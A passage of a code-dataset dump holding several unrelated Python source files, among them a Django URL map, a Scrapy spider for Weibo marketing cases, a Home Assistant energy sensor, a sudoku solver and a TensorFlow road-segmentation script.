fin:\n # cluster_names = json.load(fin)\n\n #root_nodes = [\"0_0\", \"0_1\", \"0_2\", \"0_3\"]\n root_nodes = [\"0_0\",\n \"1_1-1\", \"1_1-2\", \"1_1-3\",\n \"2_1-0-0\", \"2_1-0-1\", \"2_1-0-2\", \"2_1-0-3\"]\n\n tree = filter(lambda x: x['id'] in root_nodes, all_nodes)\n\n for root_node in tree:\n logger.info('beginning root: '+root_node['id'])\n root_node['children'] = add_level(1, root_node['id'], all_nodes)\n if len(root_node['children']) == 0:\n _doclists = get_node_doclists([root_node['id'], ])\n else:\n _doclists = get_node_doclists([c['id'] for c in root_node['children']])\n NODE_DOC_INDEX[root_node['id']] = combine_doclists(_doclists)\n logger.info('finding keywords for root: '+root_node['id'])\n root_node['keywords'] = get_node_keywords(_doclists)\n logger.info('finished root node: '+root_node['id'])\n\n logger.info('writing tree')\n json.dump(tree, open('cluster_viz/assets/tree.json', 'w'))\n\n logger.info('writing tree_data')\n json.dump(NODE_DOC_INDEX, open('cluster_viz/tree_data/MASTER.json', 'w'),\n indent=2)\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"scripts/kanopy_cluster_tree-alt-roots.py","file_name":"kanopy_cluster_tree-alt-roots.py","file_ext":"py","file_size_in_byte":9719,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"360416065","text":"import os\nimport pytest\n\nfrom shutil import rmtree\nfrom tempfile import mkdtemp, NamedTemporaryFile\nfrom zipfile import ZipFile\n\nfrom mozapkpublisher.apk import check_if_apk_is_multilocale, _get_unique_locales\nfrom mozapkpublisher.exceptions import NoLocaleFound, NotMultiLocaleApk\n\n\nMANIFEST_PARTIAL_CONTENT = '''\ncontent extensions toolkit/content/extensions/\nlocale alerts en-US en-US/locale/en-US/alerts/\nlocale autoconfig en-US en-US/locale/en-US/autoconfig/\nlocale pluginproblem en-US en-US/locale/en-US/pluginproblem/\nlocale branding an an/locale/branding/\nlocale branding as as/locale/branding/\nlocale branding bn-IN bn-IN/locale/branding/\nlocale branding en-GB en-GB/locale/branding/\nlocale browser en-GB en-GB/locale/en-GB/browser/\noverride chrome://global/locale/about.dtd chrome://browser/locale/overrides/about.dtd\n'''\n\n\ndef _create_apk(temp_dir, manifest_content):\n with NamedTemporaryFile('w') as manifest:\n manifest.write(manifest_content)\n manifest.seek(0)\n\n omni_ja_path = os.path.join(temp_dir, 'omni.ja')\n with ZipFile(omni_ja_path, 'w') as omni_ja:\n omni_ja.write(manifest.name, 'chrome/chrome.manifest')\n\n apk_path = os.path.join(temp_dir, 'fennec.apk')\n with ZipFile(apk_path, 'w') as apk:\n apk.write(omni_ja_path, 'assets/omni.ja')\n\n return apk_path\n\n\ndef test_check_if_apk_is_multilocale():\n temp_dir = mkdtemp()\n check_if_apk_is_multilocale(_create_apk(temp_dir, MANIFEST_PARTIAL_CONTENT))\n\n with pytest.raises(NoLocaleFound):\n check_if_apk_is_multilocale(_create_apk(temp_dir, 'non-locale stuff'))\n\n with pytest.raises(NotMultiLocaleApk):\n check_if_apk_is_multilocale(_create_apk(temp_dir, '''\nlocale alerts en-US en-US/locale/en-US/alerts/\nlocale autoconfig en-US en-US/locale/en-US/autoconfig/\n'''))\n\n rmtree(temp_dir)\n\n\ndef test_get_unique_locales():\n manifest_raw_lines = MANIFEST_PARTIAL_CONTENT.split('\\n')\n manifest_raw_lines = [line.encode() for line in manifest_raw_lines]\n assert sorted(_get_unique_locales(manifest_raw_lines)) == ['an', 'as', 'bn-IN', 'en-GB', 'en-US']\n","sub_path":"mozapkpublisher/test/test_apk.py","file_name":"test_apk.py","file_ext":"py","file_size_in_byte":2104,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"351199235","text":"#pygame template\r\n\r\n\r\npygame.init()\r\npygame.mixer.init()\r\n\r\ns = w, h = 640, 480\r\n\r\n\r\n\r\n#Game loop\r\nrunning = True\r\nwhile running:\r\n #keep loop running at the right speed\r\n \r\n #process input\r\n \r\n \r\n \r\n window.fill(BLACK)\r\n pygame.display.flip()\r\n \r\n\r\npygame.quit()","sub_path":"C10-GAMEFOLDER/template.py","file_name":"template.py","file_ext":"py","file_size_in_byte":294,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"618113187","text":"import logging\nfrom logging.config import fileConfig\n\nARTICLE_PER_PAGE = 15\nREPLY_PER_PAGE = 15\nDEBUG = False\nSITE_NAME = \"PoolC\"\nDB_CONNECTION_STRING = 'sqlite:///sqlite.db'\nREDIS_CONNECT_ARGS = {\n \"host\": \"localhost\",\n \"port\": 6379,\n \"db\": 0,\n}\nlogger = logging.getLogger()\nfileConfig(\"logger.cnf\")","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":309,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"559960294","text":"from django.conf.urls import url\n\nfrom . import views\n\nurlpatterns = [\n url(r'^$', views.IndexView.as_view(), name='index'),\n url(r'^subcategory/(?P[0-9]+)/$', views.subcategory_threads, name='subcategory_threads'),\n url(r'^thread/(?P[0-9]+)/$', views.detail, name='detail'),\n #url(r'^thread/new/$', views.ThreadNewView.as_view(), name='thread_new'),\n url(r'^post_new/$', views.create_post, name='post_new'),\n]\n","sub_path":"myForum/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":453,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"214407863","text":"#!/usr/bin/env python\n\"\"\" \nSmall utility to extract a list of LA County zip codes from a text file and save list as a \ncsv.\n(Original data saved as .txt from .pdf via pdfminer)\n\"\"\"\n\nimport csv\nimport re\n\ndef extract_zipcodes(zipfile):\n\t\"\"\"\n\tFunction takes the name of the text file containing list of zipcodes, extracts them to\n\ta list and then writes that list to a new csv file.\n\t\"\"\"\n\t# Initialize an empty list to contain extracted zipcodes\n\tzipcode_list=[]\n\t\n\t# Open text file that will have zipcodes\n\twith open(zipfile,'r') as file:\n\t\n\t\t# Loop through each line of the file\n\t\tfor line in file:\n\t\t\t# Search for numbers matching regex of zipcode\n\t\t\tzipcode = re.search(r'\\d\\d\\d\\d\\d', line)\t\t\t\n\t\t\t# Append value to list\n\t\t\tif zipcode:\n\t\t\t\tzipcode_list.append(zipcode.group(0))\n\t\t\t\t\n\t# Open new output file\n\twith open ('zipss.csv', 'wb') as csvfile:\n\t\t\tzipwriter=csv.writer(csvfile)\n\t\t\t#Loop through list and write zipcodes to output file 1 per row.\n\t\t\tfor zipcode in zipcode_list:\n\t\t\t\tzipwriter.writerow([zipcode])\n\ndef main():\n\t\"\"\"\n\tCall function to extract zipcodes from file using specified text file name \n\t\"\"\"\n\textract_zipcodes('zips.txt')\n\nif __name__ == '__main__':\n\tmain()","sub_path":"Data_Cleaning/get_zips.py","file_name":"get_zips.py","file_ext":"py","file_size_in_byte":1182,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"454000634","text":"# Copyright 2013-2022 Lawrence Livermore National Security, LLC and other\n# Spack Project Developers. See the top-level COPYRIGHT file for details.\n#\n# SPDX-License-Identifier: (Apache-2.0 OR MIT)\n\nfrom spack.package import *\n\n\nclass PyRios(PythonPackage):\n \"\"\"Raster I/O Simplification. A set of python modules which makes it easy\n to write raster processing code in Python. Built on top of GDAL, it\n handles the details of opening and closing files, checking alignment of\n projection and raster grid, stepping through the raster in small blocks,\n etc., allowing the programmer to concentrate on the processing involved.\n \"\"\"\n\n homepage = \"https://www.rioshome.org/en/latest/\"\n url = \"https://github.com/ubarsc/rios/archive/rios-1.4.10.tar.gz\"\n\n version(\"1.4.10\", sha256=\"7f11b54eb1f2ec551d7fc01c039b60bf2c67f0c2fc5b2946f8d986d6a9bc7063\")\n\n # pip silently replaces distutils with setuptools\n depends_on(\"py-setuptools\", type=\"build\")\n depends_on(\"py-numpy\", type=(\"build\", \"run\"))\n depends_on(\"gdal+python\", type=(\"build\", \"run\"))\n","sub_path":"var/spack/repos/builtin/packages/py-rios/package.py","file_name":"package.py","file_ext":"py","file_size_in_byte":1071,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"462991278","text":"#! /usr/bin/python\n# coding: utf-8\n\ndef compute_org(src):\n\tret = [ ]\n\tn = True\n\tfor i, c in enumerate(src):\n\t\tif not c.isdigit():\n\t\t\tl = compute(src[:i])\n\t\t\tr = compute(src[i+1:])\n\t\t\tn = False\n\t\t\tif c == '+':\n\t\t\t\tfor i in l:\n\t\t\t\t\tfor j in r:\n\t\t\t\t\t\tret.append(i + j)\n\t\t\telif c == '-':\n\t\t\t\tfor i in l:\n\t\t\t\t\tfor j in r:\n\t\t\t\t\t\tret.append(i - j)\n\t\t\telse:\n\t\t\t\tfor i in l:\n\t\t\t\t\tfor j in r:\n\t\t\t\t\t\tret.append(i * j)\n\tif n:\n\t\tret.append(int(src))\n\treturn ret\n\nclass Solution_org(object):\n\tdef diffWaysToCompute(self, input):\n\t\treturn compute_org(input)\n\nclass Solution(object):\n\tdef diffWaysToCompute(self, input):\n\t\tgdpa = { }\n\t\tdef compute(start, end):\n\t\t\tif (start, end) in gdpa:\n\t\t\t\treturn gdpa[(start, end)]\n\t\t\tret = [ ]\n\t\t\tn = True\n\t\t\tfor i in xrange(start, end):\n\t\t\t\tc = input[i]\n\t\t\t\tif not c.isdigit():\n\t\t\t\t\tl = compute(start, i)\n\t\t\t\t\tr = compute(i+1, end)\n\t\t\t\t\tn = False\n\t\t\t\t\tif c == '+':\n\t\t\t\t\t\tfor i in l:\n\t\t\t\t\t\t\tfor j in r:\n\t\t\t\t\t\t\t\tret.append(i + j)\n\t\t\t\t\telif c == '-':\n\t\t\t\t\t\tfor i in l:\n\t\t\t\t\t\t\tfor j in r:\n\t\t\t\t\t\t\t\tret.append(i - j)\n\t\t\t\t\telse:\n\t\t\t\t\t\tfor i in l:\n\t\t\t\t\t\t\tfor j in r:\n\t\t\t\t\t\t\t\tret.append(i * j)\n\t\t\tif n:\n\t\t\t\tret.append(int(input[start:end]))\n\t\t\tgdpa[(start, end)] = ret\n\t\t\treturn ret\n\t\treturn compute(0, len(input))\n\n# leetcode.com/problems/different-ways-to-add-parentheses\n# 151022 EVE\n\n# 略难\n# 虽然最近在看 compiler, 但是懒得写 tokenizer\n# 不清楚这东西影不影响性能, 也懒得写去归纳\n# 就抄了一个 discuss 里面的 workaround\n#\n# 不过最蛋疼的是基本情况的判断,\n# 是两种 (当前值与下一值结合,当前值与余下所有值结合) ?\n# 或者是两种 (左侧值与右边全部结合,右侧值与左边全部结合) ?\n# 半天发现特么每一个地方都要挖个坑\n#\n# 这个整体架构看着还是蛮捉鸡的\n#\n# discuss 里面还提到了 DP, 这玩意也能 DP...\n# 这x装的好.\n# 因为没有 tokenizer 不能按符号单位 cache,\n# 就偷了个懒随便弄了个按字符位置做 hash dict,\n# 开始是全局, 后来放在一个 closure 里面,\n# 感觉更 compact 一些,不过对性能影响全部不明 ...\n#\n# 类型: 分治? 递归是肯定的 凑合 DP\n\ns = Solution()\n\nprint(s.diffWaysToCompute(\"2-1-1\"))\nprint(s.diffWaysToCompute(\"2*3-4*5\"))\n","sub_path":"different_ways_to_add_parentheses.py","file_name":"different_ways_to_add_parentheses.py","file_ext":"py","file_size_in_byte":2240,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"66377439","text":"\"\"\"Sensor platform for myenergi.\"\"\"\nimport operator\n\nfrom homeassistant.const import DEVICE_CLASS_POWER\nfrom homeassistant.const import POWER_WATT\n\nfrom .const import DOMAIN\nfrom .entity import MyenergiEntity\n\n\ndef create_meta(name, prop_name, device_class=None, unit=None, icon=None):\n \"\"\"Create metadata for entity\"\"\"\n return {\n \"name\": name,\n \"prop_name\": prop_name,\n \"device_class\": device_class,\n \"unit\": unit,\n \"icon\": icon,\n }\n\n\nasync def async_setup_entry(hass, entry, async_add_devices):\n \"\"\"Setup sensor platform.\"\"\"\n coordinator = hass.data[DOMAIN][entry.entry_id]\n devices = []\n all_devices = await coordinator.api.get_devices()\n for device in all_devices:\n # Sensors available in all devices\n devices.append(\n MyenergiSensor(\n coordinator,\n device,\n entry,\n create_meta(\n f\"{device.ct1.name} CT1\",\n \"ct1.power\",\n DEVICE_CLASS_POWER,\n POWER_WATT,\n \"mdi:flash\",\n ),\n )\n )\n devices.append(\n MyenergiSensor(\n coordinator,\n device,\n entry,\n create_meta(\n f\"{device.ct2.name} CT2\",\n \"ct2.power\",\n DEVICE_CLASS_POWER,\n POWER_WATT,\n \"mdi:flash\",\n ),\n )\n )\n devices.append(\n MyenergiSensor(\n coordinator,\n device,\n entry,\n create_meta(\n f\"{device.ct3.name} CT3\",\n \"ct3.power\",\n DEVICE_CLASS_POWER,\n POWER_WATT,\n \"mdi:flash\",\n ),\n )\n )\n\n # Sensors common to Zapi and Eddi\n if device.kind in [\"zappi\", \"eddi\"]:\n devices.append(\n MyenergiSensor(\n coordinator, device, entry, create_meta(\"Status\", \"status\")\n )\n )\n # Zappi only sensors\n if device.kind == \"zappi\":\n devices.append(\n MyenergiSensor(\n coordinator,\n device,\n entry,\n create_meta(\"Plug status\", \"plug_status\"),\n )\n )\n\n if device.ct4.name != \"None\":\n devices.append(\n MyenergiSensor(\n coordinator,\n device,\n entry,\n create_meta(\n f\"{device.ct4.name} CT4\",\n \"ct4.power\",\n DEVICE_CLASS_POWER,\n POWER_WATT,\n \"mdi:flash\",\n ),\n )\n )\n if device.ct5.name != \"None\":\n devices.append(\n MyenergiSensor(\n coordinator,\n device,\n entry,\n create_meta(\n f\"{device.ct5.name} CT5\",\n \"ct5.power\",\n DEVICE_CLASS_POWER,\n POWER_WATT,\n \"mdi:flash\",\n ),\n )\n )\n if device.ct6.name != \"None\":\n devices.append(\n MyenergiSensor(\n coordinator,\n device,\n entry,\n create_meta(\n f\"{device.ct6.name} CT6\",\n \"ct6.power\",\n DEVICE_CLASS_POWER,\n POWER_WATT,\n \"mdi:flash\",\n ),\n )\n )\n\n async_add_devices(devices)\n\n\nclass MyenergiSensor(MyenergiEntity):\n \"\"\"myenergi Sensor class.\"\"\"\n\n def __init__(self, coordinator, device, config_entry, meta):\n super().__init__(coordinator, device, config_entry)\n self.meta = meta\n\n @property\n def unique_id(self):\n \"\"\"Return a unique ID to use for this entity.\"\"\"\n return f\"{self.config_entry.entry_id}-{self.device.serial_number}-{self.meta['prop_name']}\"\n\n @property\n def name(self):\n \"\"\"Return the name of the sensor.\"\"\"\n return self.meta[\"name\"]\n\n @property\n def state(self):\n \"\"\"Return the state of the sensor.\"\"\"\n return operator.attrgetter(self.meta[\"prop_name\"])(self.device)\n\n @property\n def unit_of_measurement(self):\n return self.meta[\"unit\"]\n\n @property\n def icon(self):\n \"\"\"Return the icon of the sensor.\"\"\"\n return self.meta[\"icon\"]\n\n @property\n def device_class(self):\n \"\"\"Return de device class of the sensor.\"\"\"\n return self.meta[\"device_class\"]\n","sub_path":"custom_components/myenergi/sensor.py","file_name":"sensor.py","file_ext":"py","file_size_in_byte":5157,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"392462852","text":"# -*- coding: utf-8 -*-\nimport scrapy\nimport json\nimport time\n\nfrom datetime import datetime\nfrom urllib import parse\n\nfrom HotSpider.items import HotspiderItem\nfrom HotSpider.utility import common\nfrom scrapy.http import Request\n\n\nclass WeiboCaseSpider(scrapy.Spider):\n name = 'weibo_case'\n allowed_domains = ['hd.weibo.com']\n start_urls = ['http://hd.weibo.com/case/api/seniorcase/list?pg=3',]\n\n def parse(self, response):\n json_content = json.loads(response.text)\n for case in json_content.get(\"data\", \"\"):\n detail_url = \"http://hd.weibo.com/case/api/seniorcase/detail?id=%s&__=%s\" % (\n case[\"id\"], str(int(time.time() * 1000)))\n yield Request(url=detail_url, callback=self.detail_parse)\n\n page = json_content[\"pg\"]\n total = int(json_content[\"total\"])\n if page * 20 < total:\n page += 1\n next_url = \"http://hd.weibo.com/case/api/seniorcase/list?pg=%s&pz=20&sort_type=default&__=%s\" % (\n str(page), str(int(time.time() * 1000)))\n print(next_url)\n print(\"==================================\\n===============================\")\n yield Request(url=next_url, callback=self.parse)\n else:\n print(\"dbug\")\n print(page)\n print(total)\n\n def detail_parse(self, response):\n weiboCase_item = HotspiderItem()\n json_data = json.loads(response.text).get(\"data\", \"\")\n if json_data:\n base_url = \"http://hd.weibo.com/case/senior/senior?id=\"\n weiboCase_item[\"advertising_id\"] = json_data[\"id\"]\n weiboCase_item[\"url\"] = base_url + str(json_data[\"id\"])\n weiboCase_item[\"thumbnail\"] = json_data[\"banner\"]\n weiboCase_item[\"created_at\"] = json_data[\"start_time\"][:10] + \" - \" + json_data[\"end_time\"][:10]\n weiboCase_item[\"title\"] = json_data[\"activity_name\"]\n weiboCase_item[\"brand\"] = json_data[\"brand\"].get(\"name\", \"\")\n weiboCase_item[\"crawl_time\"] = datetime.now()\n weiboCase_item[\"source\"] = \"weibo_case\"\n weiboCase_item[\"id\"] = common.string_to_md5(weiboCase_item[\"url\"])\n weiboCase_item[\"supplier\"] = \"微博社会化营销案例\"\n file_dict = json_data[\"files\"]\n img_list = []\n weiboCase_item[\"pdf_url\"] = \"\"\n for file in file_dict:\n img_list += file[\"preview\"]\n if file[\"postfix\"] == \"pdf\":\n weiboCase_item[\"pdf_url\"] = file[\"url\"]\n weiboCase_item[\"img_list\"] = str(img_list)\n yield weiboCase_item\n\n","sub_path":"HotSpider/HotSpider/spiders/weibo_case.py","file_name":"weibo_case.py","file_ext":"py","file_size_in_byte":2623,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"428195960","text":"board = [\n [7,8,0,4,0,0,1,2,0],\n [6,0,0,0,7,5,0,0,9],\n [0,0,0,6,0,1,0,7,8],\n [0,0,7,0,4,0,2,6,0],\n [0,0,1,0,5,0,9,3,0],\n [9,0,4,0,6,0,0,0,5],\n [0,7,0,3,0,0,0,1,2],\n [1,2,0,0,0,7,4,0,0],\n [0,4,9,2,0,6,0,0,7]\n]\n\n# Print Board\ndef Print(bo):\n\n for i in range(len(bo)):\n if i%3 == 0 and i!=0:\n print('- '*11)\n for j in range(len(bo)):\n if j%3 == 0 and j!=0:\n print('|',end=' ')\n if j==8:\n print(bo[i][j])\n break\n\n print(bo[i][j],end=' ')\n\n#Printing Board Done\n\n\n# Empty with Position\ndef get_empty(bo):\n for i in range(len(bo)):\n for j in range(len(bo)):\n if bo[i][j] == 0:\n return (i,j)\n return None\n\n\nzeros = get_empty(board)\nprint(zeros)\n\n\n# validity check\n\ndef valid(bo,num,pos):\n #x_valid\n for i in range(len(board)):\n if bo[pos[0]][i]==num and pos[1]!=i:\n return False\n\n #y_valid\n for i in range(len(board)):\n if bo[i][pos[1]]== num and pos[0]!= i :\n return False\n\n #box_valid\n x = pos[0]//3\n y = pos[1]//3\n\n for i in range(x*3,x*3+3):\n for j in range(y*3,y*3+3):\n if bo[i][j] == num and pos !=(i,j):\n return False\n\n return True\n\n\n#Solve\n\n\ndef solve(bo):\n\n find = get_empty(bo)\n if not find:\n return True\n\n else:\n\n row,col = get_empty(bo)\n\n for i in range(1,10):\n\n if valid(bo,i,(row,col)):\n bo[row][col] = i\n\n\n if solve(bo):\n return True\n\n bo[row][col] = 0\n\n return False\n\n\n\nsolve(board)\nPrint(board)","sub_path":"SudukoSolver/suduko.py","file_name":"suduko.py","file_ext":"py","file_size_in_byte":1656,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"245258974","text":"class App_list:\n def __init__(self):\n self.app = {}\n\n def add_app(self, name, genre):\n self.app[name] = genre\n\n\n def get_apps_by_genre(self, gerne):\n genre_list = []\n for i in self.app:\n if self.app[i] == gerne:\n genre_list.append(i)\n genre_list.sort()\n return genre_list\n\n def get_app_in_alphabetical_order(self):\n a = [self.app.keys()]\n return sorted(a)\n\n def __str__(self):\n result = {}\n for i in self.app:\n genre = self.app[i]\n if genre not in result:\n result[genre] = [i]\n else:\n result[genre].append(i)\n apps = []\n for keys in result:\n game = ','.join(result[keys])\n apps.append('{}:{}'.format(keys, game))\n return '\\n'.join(apps)\n\n\nif __name__ == \"__main__\":\n a = App_list()\n a.add_app('word', 'Work')\n a.add_app(\"ppt\",\"Work\")\n a.add_app(\"excel\", \"Work\")\n a.add_app(\"fall in love\", 'Romantic')\n print(a)","sub_path":"pyta/Week2_summer/Lab1/lab1_app_list.py","file_name":"lab1_app_list.py","file_ext":"py","file_size_in_byte":1045,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"66087451","text":"#!/usr/bin/python\n\"\"\"\nmain.py: version 0.1.0\n\nHistory:\n2017/08/02: Initial version.\n\"\"\"\n\nimport os\nimport os.path\nimport scipy.misc\nimport shutil\nimport tensorflow as tf\nimport helper\nimport warnings\nfrom distutils.version import LooseVersion\nimport project_tests as tests\nimport time\n\n\n# Check TensorFlow Version\nassert LooseVersion(tf.__version__) >= LooseVersion('1.0'), \\\n 'Please use TensorFlow version 1.0 or newer.' + \\\n ' You are using {}'.format(tf.__version__)\nprint('TensorFlow Version: {}'.format(tf.__version__))\n\n# Check for a GPU\nif not tf.test.gpu_device_name():\n warnings.warn(\n 'No GPU found. Please use a GPU to train your neural network.')\nelse:\n print('Default GPU Device: {}'.format(tf.test.gpu_device_name()))\n\n\ndef load_vgg(sess, vgg_path):\n \"\"\"\n Load Pretrained VGG Model into TensorFlow.\n :param sess: TensorFlow Session\n :param vgg_path: Path to vgg folder, containing \"variables/\" and\n \"saved_model.pb\"\n :return: Tuple of Tensors from VGG model\n (image_input, keep_prob, layer3_out, layer4_out, layer7_out)\n \"\"\"\n # Use tf.saved_model.loader.load to load the model and weights\n vgg_tag = 'vgg16'\n vgg_input_tensor_name = 'image_input:0'\n vgg_keep_prob_tensor_name = 'keep_prob:0'\n vgg_layer3_out_tensor_name = 'layer3_out:0'\n vgg_layer4_out_tensor_name = 'layer4_out:0'\n vgg_layer7_out_tensor_name = 'layer7_out:0'\n\n # load the model from the given vgg_path\n model = tf.saved_model.loader.load(sess, [vgg_tag], vgg_path)\n\n # extract the layers of the vgg to modify into a FCN\n vgg_graph = tf.get_default_graph()\n vgg_input = vgg_graph.get_tensor_by_name(vgg_input_tensor_name)\n vgg_keep = vgg_graph.get_tensor_by_name(vgg_keep_prob_tensor_name)\n vgg_layer3 = vgg_graph.get_tensor_by_name(vgg_layer3_out_tensor_name)\n vgg_layer4 = vgg_graph.get_tensor_by_name(vgg_layer4_out_tensor_name)\n vgg_layer7 = vgg_graph.get_tensor_by_name(vgg_layer7_out_tensor_name)\n return vgg_input, vgg_keep, vgg_layer3, vgg_layer4, vgg_layer7\ntests.test_load_vgg(load_vgg, tf)\n\n\ndef layers(vgg_layer3_out, vgg_layer4_out, vgg_layer7_out, num_classes):\n \"\"\"\n Create the layers for a fully convolutional network.\n Build skip-layers using the vgg layers.\n :param vgg_layer7_out: TF Tensor for VGG Layer 3 output\n :param vgg_layer4_out: TF Tensor for VGG Layer 4 output\n :param vgg_layer3_out: TF Tensor for VGG Layer 7 output\n :param num_classes: Number of classes to classify\n :return: The Tensor for the last layer of output\n \"\"\"\n # TODO: Implement function\n\n ci = tf.random_normal_initializer(stddev=0.01)\n kr = tf.contrib.layers.l2_regularizer(1e-3)\n\n # 1x1 convolution for encoder outputs: vgg_layer_7, vgg_layer_4 and vgg_layer_3\n # make ready for skip connection\n dec_layer1_out = tf.layers.conv2d(vgg_layer7_out, num_classes, 1, padding= 'same', \n kernel_initializer= ci, kernel_regularizer= kr)\n\n skip_layer2 = tf.layers.conv2d(vgg_layer4_out, num_classes, 1, padding= 'same', \n kernel_initializer= ci, kernel_regularizer= kr)\n\n skip_layer3 = tf.layers.conv2d(vgg_layer3_out, num_classes, 1, padding= 'same', \n kernel_initializer= ci, kernel_regularizer= kr)\n\n # upsample\n dec_layer2_in = tf.layers.conv2d_transpose(dec_layer1_out, num_classes, 4, \n strides= (2, 2), padding= 'same', \n kernel_initializer= ci, kernel_regularizer= kr)\n\n # combine matched encoder layer 2(vgg_layer_4) and decoder layer 2 to preserve spatial information\n dec_layer2_out = tf.add(dec_layer2_in, skip_layer2)\n\n # upsample again\n dec_layer3_in = tf.layers.conv2d_transpose(dec_layer2_out, num_classes, 4, \n strides= (2, 2), padding= 'same', \n kernel_initializer= ci, kernel_regularizer= kr)\n\n # combine matched encoder layer 1(vgg_layer_3) and decoder layer 3 to preserve spatial information\n dec_layer3_out = tf.add(dec_layer3_in, skip_layer3)\n # upsample to match last layer\n nn_last_layer = tf.layers.conv2d_transpose(dec_layer3_out, num_classes, 16, \n strides= (8, 8), padding= 'same', \n kernel_initializer= ci, kernel_regularizer= kr)\n return nn_last_layer\ntests.test_layers(layers)\n\n\ndef optimize(nn_last_layer, correct_label, learning_rate, num_classes):\n \"\"\"\n Build the TensorFLow loss and optimizer operations.\n :param nn_last_layer: TF Tensor of the last layer in the neural network\n :param correct_label: TF Placeholder for the correct label image\n :param learning_rate: TF Placeholder for the learning rate\n :param num_classes: Number of classes to classify\n :return: Tuple of (logits, train_op, cross_entropy_loss)\n \"\"\"\n # reshape the 4D output and label tensors to 2D:\n # so each row represent a pixel and each column a class.\n logits = tf.reshape(nn_last_layer, (-1, num_classes))\n labels = tf.reshape(correct_label, (-1, num_classes))\n\n # now define a loss function and a trainer/optimizer\n cross_entropy_loss = tf.reduce_mean(\n tf.nn.softmax_cross_entropy_with_logits(logits=logits, labels=labels))\n train_op = tf.train.AdamOptimizer(\n learning_rate).minimize(cross_entropy_loss)\n return logits, train_op, cross_entropy_loss\ntests.test_optimize(optimize)\n\n\n\ndef train_nn(\n sess, epochs, batch_size, get_batches_fn, train_op, cross_entropy_loss,\n input_image, correct_label, keep_prob, learning_rate):\n \"\"\"\n Train neural network and print out the loss during training.\n :param sess: TF Session\n :param epochs: Number of epochs\n :param batch_size: Batch size\n :param get_batches_fn: Function to get batches of training data.\n Call using get_batches_fn(batch_size)\n :param train_op: TF Operation to train the neural network\n :param cross_entropy_loss: TF Tensor for the amount of loss\n :param input_image: TF Placeholder for input images\n :param correct_label: TF Placeholder for label images\n :param keep_prob: TF Placeholder for dropout keep probability\n :param learning_rate: TF Placeholder for learning rate\n\n \"\"\"\n\n\n totalstarttime = time.clock()\n\n\n sess.run(tf.global_variables_initializer())\n\n for i in range(epochs):\n print(\"running epochs:\", i)\n\n # periodically save every 5 epoch runs\n if data_dir is not None and i > 0 and (i % 5) == 0:\n # Save inference data using save_inference_samples\n helper.save_inference_samples(\n runs_dir, data_dir, sess, image_shape,\n logits, keep_prob, input_image)\n\n # start epoch training timer\n starttime = time.clock()\n\n # train on batches\n for X, y in get_batches_fn(batch_size):\n loss, _ = sess.run(\n [cross_entropy_loss, train_op],\n feed_dict={input_image: X, correct_label: y, keep_prob: 0.5})\n print(\" Training Loss: = {:.3f}\".format(loss))\n\n endtime = time.clock()\n training_time = endtime-starttime\n print(\"epoch {} execution time {:.1f} seconds,\".format(i, training_time))\n\n\n totalendtime = time.clock()\n totaltime = totalendtime - totalstarttime\n print(\"total training time {:.1f} minutes\".format(totaltime/60))\ntests.test_train_nn(train_nn)\n\n\ndef run():\n \"\"\"\n Main routine to create and train a Fully Convolutional Network\n for Semantic Segmenation.\n \"\"\"\n\n # initialization\n num_classes = 2\n image_shape = (160, 576)\n data_dir = './data'\n runs_dir = './runs'\n tests.test_for_kitti_dataset(data_dir)\n\n # Training Hyperparameters\n epochs = 25\n batch_size = 10\n learning_rate = tf.constant(0.0001)\n\n # Download pretrained vgg model\n helper.maybe_download_pretrained_vgg(data_dir)\n\n # Start training session\n with tf.Session() as sess:\n # Path to vgg model\n vgg_path = os.path.join(data_dir, 'vgg')\n # Create function to get batches\n get_batches_fn = helper.gen_batch_function(\n os.path.join(data_dir, 'data_road/training'), image_shape)\n\n # TODO: Build NN using load_vgg, layers, and optimize function\n correct_label = tf.placeholder(\n tf.int32, [None, image_shape[0], image_shape[1], num_classes])\n enc_input, keep_prob, enc_layer3, enc_layer4, enc_layer7 = load_vgg(\n sess, vgg_path)\n nn_last_layer = layers(enc_layer3, enc_layer4, enc_layer7, num_classes)\n logits, train_op, cross_entropy_loss = optimize(\n nn_last_layer, correct_label, learning_rate, num_classes)\n\n # TODO: Train NN using the train_nn function\n train_nn(\n sess, epochs, batch_size, get_batches_fn, train_op,\n cross_entropy_loss, enc_input, correct_label, keep_prob,\n learning_rate, runs_dir, data_dir, image_shape, logits)\n\n # TODO: Save inference data using save_inference_samples\n check_starttime = time.clock()\n helper.save_inference_samples(\n runs_dir, data_dir, sess, image_shape,\n logits, keep_prob, enc_input)\n check_endtime = time.clock()\n check_time = check_endtime-check_starttime\n print(\"FCN performance: {:.3f} FPS on 576x160 image.\".format(293/check_time))\n\n # OPTIONAL: Apply the trained model to a video\n\n\t# Save New trained model\n saver = tf.train.Saver()\n fcn_path = os.path.join(runs_dir, 'fcn_weight.ckpt')\n saver.save(sess, fcn_path)\n print('Model saved to: {}'.format(fcn_path))\n\n\n\nif __name__ == '__main__':\n run()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":9576,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"620073644","text":"import logging\nimport random\n\nimport numpy as np\nimport torch\nfrom torch.nn.utils.rnn import pad_sequence\nfrom torch.utils.data import Dataset\n\nfrom logger import 